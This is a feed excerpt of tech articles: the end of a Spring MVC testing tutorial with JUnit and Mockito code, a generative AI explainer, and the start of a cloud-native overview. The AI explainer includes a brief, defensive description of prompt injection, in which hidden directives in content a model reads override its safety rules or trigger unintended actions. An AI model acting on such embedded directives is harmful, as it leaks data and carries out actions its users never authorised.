}</code></pre>



<p class="wp-block-paragraph">The <code>DELETE</code> handler first tries to find the widget by ID and then calls the<code> WidgetService</code>’s <code>deleteById()</code> method. The <code>testDeleteSuccess()</code> method configures the <code>WidgetService</code> to return a mock <code>Widget</code> when the <code>findById()</code> method is called and then configures it to do nothing when the <code>deleteById()</code> method is called. The <code>deleteById()</code> method returns void, so we do not need to mock a response, though we do want to allow the method to be called. We execute the <code>DELETE</code> operation and validate that we receive a 200 OK HTTP response code. The<code> testDeleteNotFound()</code> method configures the <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> method is called. We execute the <code>DELETE</code> operation and validate that we receive a 404 Not Found HTTP response code.</p>



<p class="wp-block-paragraph">At this point, we have a comprehensive set of tests for all of our controller operations. Let’s continue down our stack and test our service.</p>



<h2 class="wp-block-heading">Unit testing a Spring MVC service</h2>



<p class="wp-block-paragraph">Next, we’ll test a <code>WidgetService</code> class, shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import java.util.List;
import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class WidgetService {
    @Autowired
    private WidgetRepository widgetRepository;

    public List findAll() {
        return widgetRepository.findAll();
    }

    public Optional findById(Long id) {
        return widgetRepository.findById(id);
    }

    public Widget create(Widget widget) {
        widget.setVersion(1);
        return widgetRepository.save(widget);
    }

    public Widget save(Widget widget) {
        return widgetRepository.save(widget);
    }

    public void deleteById(Long id) {
        widgetRepository.deleteById(id);
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetService</code> is very simple. It autowires in a <code>WidgetRepository</code> and then delegates almost all its functionality to the <code>WidgetRepository</code>. The only business logic it implements is that it sets the <code>Widget</code> version to 1 in the <code>create()</code> method, when it is persisting a new <code>Widget</code> to the database.</p>



<p class="wp-block-paragraph">While Spring supports slice testing for our controller and (as you’ll soon see) our repository, it doesn’t have a slice testing annotation for our service. We could use the <code>@SpringBootTest</code> annotation, but then Spring would load all the controllers, repositories, and any other Spring resources in our application into the Spring application context. We can avoid by using Mockito directly. </p>



<p class="wp-block-paragraph">Here is the source code for the <code>WidgetServiceTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.when;

import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

@ExtendWith(MockitoExtension.class)
public class WidgetServiceTest {
    @Mock
    private WidgetRepository repository;

    @InjectMocks
    private WidgetService service;

    @Test
    void testFindById() {
        Widget widget = new Widget(1L, "My Widget", 1);
        when(repository.findById(1L)).thenReturn(Optional.of(widget));

        Optional w = service.findById(1L);
        assertTrue(w.isPresent());
        assertEquals(1L, w.get().getId());
        assertEquals("My Widget", w.get().getName());
        assertEquals(1, w.get().getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit 5 supports extensions</a> and Mockito has defined a test extension that we can access through the <code>@ExtendWith</code> annotation. This extension allows Mockito to read our class, find objects to mock, and inject mocks into other classes. The <code>WidgetServiceTest </code>tells Mockito to create a mock <code>WidgetRepository</code>, by annotating it with the <code>@Mock</code> annotation, and then to inject that mock into the <code>WidgetService</code>, using the <code>@InjectMocks</code> annotation. The result is that we have a <code>WidgetService</code> that we can test and it will have a mock <code>WidgetRepository</code> that we can configure for our test cases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">Advanced unit testing with JUnit 5, Mockito, and Hamcrest</a>.</strong></p>



<p class="wp-block-paragraph">This is not a comprehensive test, but it should get you started. It has a single method, <code>testFindById()</code>, that demonstrates how to test a service method. It creates a mock <code>Widget</code> instance and then uses the Mockito <code>when()</code> method, just as we used in the controller test, to configure the <code>WidgetRepository</code> to return an <code>Optional</code> of that <code>Widget</code> when its <code>findById()</code> method is called. Then it invokes the <code>WidgetService</code>’s <code>findById()</code> method and validates that the mock <code>Widget</code> is returned.</p>



<h2 class="wp-block-heading">Slice testing a Spring Data JPA repository</h2>



<p class="wp-block-paragraph">Next, we’ll slice test our JPA repository (<code>WidgetRepository.java</code>), shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import java.util.List;
import com.infoworld.widgetservice.model.Widget;
import org.springframework.data.jpa.repository.JpaRepository;

public interface WidgetRepository extends JpaRepository {
    List findByName(String name);
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepository</code> is a Spring Data JPA repository, which means that we define the interface and Spring generates the implementation. It extends the <code>JpaRepository</code> interface, which accepts two arguments:</p>



<ul class="wp-block-list">
<li>The type of entity that it persists, namely a <code>Widget</code>.</li>



<li>The type of primary key, which in this case is a <code>Long</code>.</li>
</ul>



<p class="wp-block-paragraph">It generates common CRUD method implementations for us to create, update, delete, and find widgets, and then we can define our own query methods using a specific naming convention. For example, we define a <code>findByName()</code> method that returns a <code>List</code> of <code>Widget</code>s. Because “<code>name</code>” is a field in our <code>Widget</code> entity, Spring will generate a query that finds all widgets with the specified name.</p>



<p class="wp-block-paragraph">Here is our <code>WidgetRepositoryTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.infoworld.widgetservice.model.Widget;

import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager;

@DataJpaTest
public class WidgetRepositoryTest {
    @Autowired
    private TestEntityManager entityManager;

    @Autowired
    private WidgetRepository widgetRepository;

    private final List widgetIds = new ArrayList();
    private final List testWidgets = Arrays.asList(
            new Widget("Widget 1", 1),
            new Widget("Widget 2", 1),
            new Widget("Widget 3", 1)
    );

    @BeforeEach
    void setup() {
        testWidgets.forEach(widget -&gt; {
            entityManager.persist(widget);
            widgetIds.add((Long)entityManager.getId(widget));
        });
        entityManager.flush();
    }

    @AfterEach
    void teardown() {
        widgetIds.forEach(id -&gt; {
            Widget widget = entityManager.find(Widget.class, id);
            if (widget != null) {
                entityManager.remove(widget);
            }
        });
        widgetIds.clear();
    }

    @Test
    void testFindAll() {
        List widgetList = widgetRepository.findAll();
        assertEquals(3, widgetList.size());
    }

    @Test
    void testFindById() {
        Widget widget = widgetRepository.findById(
                               widgetIds.getFirst()).orElse(null);

        assertNotNull(widget);
        assertEquals(widgetIds.getFirst(), widget.getId());
        assertEquals("Widget 1", widget.getName());
        assertEquals(1, widget.getVersion());
    }

    @Test
    void testFindByIdNotFound() {
        Widget widget = widgetRepository.findById(
            widgetIds.getFirst() + testWidgets.size()).orElse(null);
        assertNull(widget);
    }

    @Test
    void testCreateWidget() {
        Widget widget = new Widget("New Widget", 1);
        Widget insertedWidget = widgetRepository.save(widget);

        assertNotNull(insertedWidget);
        assertEquals("New Widget", insertedWidget.getName());
        assertEquals(1, insertedWidget.getVersion());
        widgetIds.add(insertedWidget.getId());
    }

    @Test
    void testFindByName() {
        List found = widgetRepository.findByName("Widget 2");
        assertEquals(1, found.size(), "Expected to find 1 Widget");

        Widget widget = found.getFirst();
        assertEquals("Widget 2", widget.getName());
        assertEquals(1, widget.getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepositoryTest</code> class is annotated with the <code>@DataJpaTest</code> annotation, which is a slice-testing annotation that loads repositories and entities into the Spring application context and creates a <code>TestEntityManager</code> that we can autowire into our test class. The <code>TestEntityManager</code> allows us to perform database operations outside of our repository so that we can set up and tear down our test scenarios.</p>



<p class="wp-block-paragraph">In the <code>WidgetRepositoryTest</code> class, we autowire in both our <code>WidgetRepository</code> and <code>TestEntityManager</code>. Then, we define a <code>setup()</code> method that is annotated with JUnit’s <code>@BeforeEach</code> annotation, so it will be executed <em>before</em> each test case runs. Next, we define a <code>teardown()</code> method that is annotated with JUnit’s <code>@AfterEach</code> annotation, so it will be executed <em>after</em> each test completes. The class defines a <code>testWidgets</code> list that contains three test widgets and then the <code>setup()</code> method inserts those into the database using the <code>TestEntityManager</code>’s <code>persist()</code> method. After it inserts each widget, it saves the automatically generated ID so that we can reference it in our tests. Finally, after persisting the widgets, it flushes them to the database by calling the <code>TestEntityManager</code>’s <code>flush()</code> method. The <code>teardown()</code> method iterates over all <code>Widget</code> IDs, finds the <code>Widget</code> using the <code>TestEntityManager</code>’s <code>find()</code> method, and, if it is found, removes it from the database. Finally, it clears the widget ID list so that the<code> setup()</code> method can rebuild it for the next test. (Note that the <code>TestEntityManager</code> removes entities directly; it does not have a <em>remove by ID</em> method, so we first have to find each <code>Widget</code> and then remove them one-by-one.)</p>



<p class="wp-block-paragraph">Even though most of the methods being tested are autogenerated and well tested, I wanted to demonstrate how to write several kinds of tests. The only method that we really need to test is the <code>findByName()</code> method because that is the only custom method we define. For example, if we were to define the method as <code><em>findByNam()</em></code> instead of <code>findByName()</code>, then the method would not work, so it is definitely worth testing.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Spring provides robust support for testing each layer of a Spring MVC application. In this article, we reviewed how to test controllers, using <a href="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html" data-type="link" data-id="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html">MockMvc</a>; services, using the <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html" data-type="link" data-id="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit Mockito extension</a>; and repositories, using the Spring <a href="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html" data-type="link" data-id="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html">TestEntityManager</a>. We also reviewed slice testing as a strategy to reduce testing resource utilization and minimize the time required to execute tests. Slice testing is implemented in Spring using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations. I hope these examples have given you everything you need to feel comfortable writing robust tests for your Spring MVC applications.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



